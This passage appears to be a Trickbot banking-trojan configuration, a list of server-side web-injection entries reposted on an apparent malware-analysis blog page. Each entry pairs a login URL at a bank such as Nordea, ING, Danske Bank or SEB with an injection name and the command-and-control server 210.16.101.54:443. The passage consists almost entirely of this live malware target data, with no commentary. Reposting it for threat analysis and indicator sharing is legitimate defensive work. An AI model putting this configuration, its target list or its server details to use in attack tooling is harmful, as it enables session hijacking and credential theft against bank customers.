<nh>adscibunolvhestkrpgmzfqwdyaj.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://nettbank.remember.no*</mm>
<sm>http://nettbank.remember.no/*</sm>
<nh>abscgoqraebwjdlkxfvpcstuzmni.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.sbm.no*</mm>
<sm>http://www.sbm.no/nettbank-logginn/*</sm>
<nh>arscovilbsyjhnpczrawtuxegfdk.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.banknorwegian.no*</mm>
<sm>http://www.banknorwegian.no/Login/BankId*</sm>
<nh>aqscsgyiwzpeflkmjhocartbnqux.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.banknorwegian.no*</mm>
<sm>http://www.banknorwegian.no/Login/BankIdMobil*</sm>
<nh>ahscynpdsblmzjrvfexouktagwcq.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.danskebank.dk*</mm>
<sm>http://www.danskebank.dk/da-dk/Erhverv/Mellem-erhverv/Online-services/Support/Pages/Support.aspx*</sm>
<nh>asscpdniqthsokcewalbgjuzvyfm.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ingonline.com*</mm>
<sm>http://www.ingonline.com/ro*</sm>
<nh>cqsdplqchaogzenrvsjftwumbkxy.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://insidebusiness.ingcb.com*</mm>
<sm>http://insidebusiness.ingcb.com*</sm>
<nh>koscravbhsetqzowpixgmclnkjyf.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ingonline.com*</mm>
<sm>http://www.ingonline.com/sk*</sm>
<nh>chsdpvaitgjhdqexbmcyunwflkzo.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://privat.ib.seb.se*</mm>
<sm>http://privat.ib.seb.se/wow/1000/1000/wow1020.aspx*</sm>
<nh>scscvzrhbntdapfxcqjiekgwlomu.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ing.be*</mm>
<sm>http://www.ing.be/en/retail/pages/login.aspx*</sm>
<nh>cosdxvkwdtulpcfyrznmsigahbqj.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ing.be*</mm>
<sm>http://www.ing.be/de/retail/Pages/Login.aspx*</sm>
<nh>casdncuqipxhemwzlydrotfajvgb.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ingonline.com*</mm>
<sm>http://www.ingonline.com/cz*</sm>
<nh>ccsdqirycuamveglxbdstzjfpkhn.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ingonline.com*</mm>
<sm>http://www.ingonline.com/bg*</sm>
<nh>cdsdcrpedymusaihvkwjgqftbnol.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secure.ingdirect.fr*</mm>
<sm>http://secure.ingdirect.fr/public/displayLogin.jsf*</sm>
<nh>cssdsluintyqkdgpczbafhevrmox.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://esipub.esi-sa.com*</mm>
<sm>http://esipub.esi-sa.com/INGArchive/Account/Login.aspx*</sm>
<nh>cksdhwqyurdaoklxpbijcnstefgv.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://esipub.esi-sa.com*</mm>
<sm>http://esipub.esi-sa.com/INGArchive/Account/Login.aspx*</sm>
<nh>dosdbscylvzeiawutpndfohqjkmg.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://esipub.esi-sa.com*</mm>
<sm>http://esipub.esi-sa.com/INGArchive/Account/Login.aspx*</sm>
<nh>dasdquasizrgmdpwbxkfevylhnct.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://banking.ing-diba.de*</mm>
<sm>http://banking.ing-diba.de/app/obligo*</sm>
<nh>dcsdvmpjahzkidroxwcfsyntbelg.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secure.ingdirect.it*</mm>
<sm>http://secure.ingdirect.it/login.aspx*</sm>
<nh>ddsdrkdyhouqpmbfsigwecxlzanj.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ing.lu*</mm>
<sm>http://www.ing.lu/web/ING/EN/Personal/Login/index.htm*</sm>
<nh>dbsdnvtrqwzkxfueimjpysdghclo.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ing.lu*</mm>
<sm>http://www.ing.lu/ING/FR/Particuliers/Login/index.htm*</sm>
<nh>drsdkqpvewuyfsxrtbdmcagjnhoz.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ing.lu*</mm>
<sm>http://www.ing.lu/web/ING/FR/Personal/Login/index.htm*</sm>
<nh>dqsdthisyjduxpezblrkfnacqmgw.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ing.lu*</mm>
<sm>http://www.ing.lu/web/ING/NL/Particuliers/Login/index.htm*</sm>
<nh>dhsdawqrobjvefmuzpytgxindhcs.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://mijnzakelijk.ing.nl*</mm>
<sm>http://mijnzakelijk.ing.nl/*</sm>
<nh>dssdeygxnimlzocwbvkutjspdhqr.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://banking.ing-diba.at*</mm>
<sm>http://banking.ing-diba.at/online-banking*</sm>
<nh>bosdpdtxksfbizocmwjqgyavnurh.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://start.ingbusinessonline.pl*</mm>
<sm>http://start.ingbusinessonline.pl/ing/do/sms*</sm>
<nh>basdycfzdghxpsmbjlnkuwvraoeq.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://solo.nordea.com*</mm>
<sm>http://solo.nordea.com/nsc/engine*</sm>
<nh>bcsdgwvsqjofkaynlxdeitpurhcz.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://solo.nordea.com*</mm>
<sm>http://solo.nordea.com/nsc/engine*</sm>
<nh>bdsdptwvnyszxerbuhmoqfijgcld.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://solo.nordea.com*</mm>
<sm>http://solo.nordea.com/nsc/engine*</sm>
<nh>bbsdbtukwapmhqoledscnfyvzgri.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>

<sinj>
<mm>http://solo.nordea.com*</mm>
<sm>http://solo.nordea.com/nsc/engine*</sm>
<nh>brsdcodumzehfsbqvywtrlxkjani.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.netbank.nordea.dk*</mm>
<sm>http://www.netbank.nordea.dk/netbank/index.jsp*</sm>
<nh>bhsdtoadzsngclkfemriwpyujxhq.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://solo1.nordea.fi*</mm>
<sm>http://solo1.nordea.fi/nsp/engine*</sm>
<nh>bssdonqtsjhukfxeilwcrvzgdapm.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://solo1.nordea.fi*</mm>
<sm>http://solo1.nordea.fi/nsp/login*</sm>
<nh>bksdfejlnzqgximtwosvubpachyr.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://internetbanken.privat.nordea.se*</mm>
<sm>http://internetbanken.privat.nordea.se/nsp/login*</sm>
<nh>rasdwmpcujnrazhgqivkdsbyxotl.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://internetbanken.privat.nordea.se*</mm>
<sm>http://internetbanken.privat.nordea.se/nsp/engine*</sm>
<nh>rcsdkeohumzxfgjsqtdalbnypirc.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://nb.nordea.no*</mm>
<sm>http://nb.nordea.no/jlogin/nettbank/login/login*</sm>
<nh>rdsdlapeduxhgfnkjovmbyistwcr.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.nordeaim.nordea.com*</mm>
<sm>http://www.nordeaim.nordea.com/ImExt/WebportExt.nsf*</sm>
<nh>rbsdleqofyhvgpcnrdmjktauwbzx.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://eplusgiro.plusgirot.se*</mm>
<sm>http://eplusgiro.plusgirot.se/eplusgiro.html*</sm>
<nh>rrsdszvqwmcedokyhrfijgntxaup.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://eplusgiro.plusgirot.se*</mm>
<sm>http://eplusgiro.plusgirot.se/eplusgiro_comp.html*</sm>
<nh>rqsdcdubtegkwnlhmxrivapoqfjs.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://gfs.nb.se*</mm>
<sm>http://gfs.nb.se/privat/bank/index_foretag.html*</sm>
<nh>rhsdwgnrytoqpxcehludjzvfabks.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://girolink.plusgirot.se*</mm>
<sm>http://girolink.plusgirot.se/*</sm>
<nh>rssdiqvbjspmhkuoetayngxwdfrl.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ing.lu*</mm>
<sm>http://www.ing.lu/web/ING/DE/Privatpersonen/Einloggen/index.htm*</sm>
<nh>sqsdcealqnbijdzksuwgmvortpfh.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ingbank.cz*</mm>
<sm>http://www.ingbank.cz/ib/login*</sm>
<nh>shsdfoqwpzrdhtjxlguibvmskacn.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://nab.directnet.com*</mm>
<sm>http://nab.directnet.com/dn/c/cls/auth*</sm>
<nh>kosdlnzmgtbfukcepodiwjaxvyrh.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ibs.medbank.lt*</mm>
<sm>http://ibs.medbank.lt/login.aspx*</sm>
<nh>kksdmoigswfdyvjeaznulkcxqtbh.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://business2.danskebank.dk*</mm>
<sm>http://business2.danskebank.dk/pub/logon/logon.aspx*</sm>
<nh>oosdzkgnoyqtuihlmwvrcxsfbapj.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ebankas.danskebank.lt*</mm>
<sm>http://ebankas.danskebank.lt/ib/site/login*</sm>
<nh>oasdezuychotmjgspxdiblwvarqf.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://verkkopankki2.danskebank.fi*</mm>
<sm>http://verkkopankki2.danskebank.fi/pub/logon/logon.aspx*</sm>
<nh>ocsdfrhmuxjwlqaevgcknsibpdoz.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://business2.danskebank.com*</mm>
<sm>http://business2.danskebank.com/pub/logon/logon.aspx*</sm>
<nh>odsdrajnmbzdpegkhtvfulywocsi.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.danskebank.no*</mm>
<sm>http://www.danskebank.no/nb-no/Bedrift/Mellomstore-bedrifter/Nettbank/Pages/Nettbank.aspx*</sm>
<nh>obsddrvznblaoqstcfhxmupejyig.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://business2.danskebank.no*</mm>
<sm>http://business2.danskebank.no/pub/logon/logon.aspx*</sm>
<nh>orsddjkwhspuifxevtgnrlbcayqm.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://nettbank.danskebank.no*</mm>
<sm>http://nettbank.danskebank.no/html/index.html*</sm>
<nh>kosdjfqboenzhgxwdysvirtpmalk.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.danskebank.no*</mm>
<sm>http://www.danskebank.no/nb-no/Privat/Nettbank-og-Mobil/nettbank/support/Pages/support.aspx*</sm>
<nh>kasdixkgywnhtdurbaojlvcqepzs.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://multiversa.geartesiabank.nl*</mm>
<sm>http://multiversa.geartesiabank.nl/MULTIVERSA-IFP/actions/login*</sm>
<nh>kcsdqgaynzujwfsmcpkextblvoir.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www2.poppankki.fi*</mm>
<sm>http://www2.poppankki.fi/VerkkopalvelutWeb/sisaankirjaus/lomake_valinta.jsp*</sm>
<nh>kdsdshxotmkfubnwpyjzegcrqaid.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.danskebank.dk*</mm>
<sm>http://www.danskebank.dk/da-dk/Erhverv/Mellem-erhverv/Online-services/Support/Pages/Support.aspx*</sm>
<nh>kbsdfbwtkxpzsgldqvrjauienmyc.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.danskebank.dk*</mm>
<sm>http://www.danskebank.dk/da-dk/Privat/Selvbetjening/Produkter/Letbank/Pages/Log-ind-ji.aspx*</sm>
<nh>krsdpzatjvbinyslkfdoxucweghq.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.danskebank.dk*</mm>
<sm>http://www.danskebank.dk/da-dk/Privat/Selvbetjening/raadgivning/Teknisk-support/Pages/Teknisk-support.aspx*</sm>
<nh>kqsdzafelgutmdnvqobjskxypicr.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.danskebank.dk*</mm>
<sm>http://www.danskebank.dk/da-dk/Erhverv/Mindre-erhverv/Netbank/Support/Pages/Support.aspx*</sm>
<nh>khsdqhivszaumywjfbtlcgoerkxp.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
</slist>

2017-08-30 Trickbot Maldoc – Part Two

Leave a Reply Cancel reply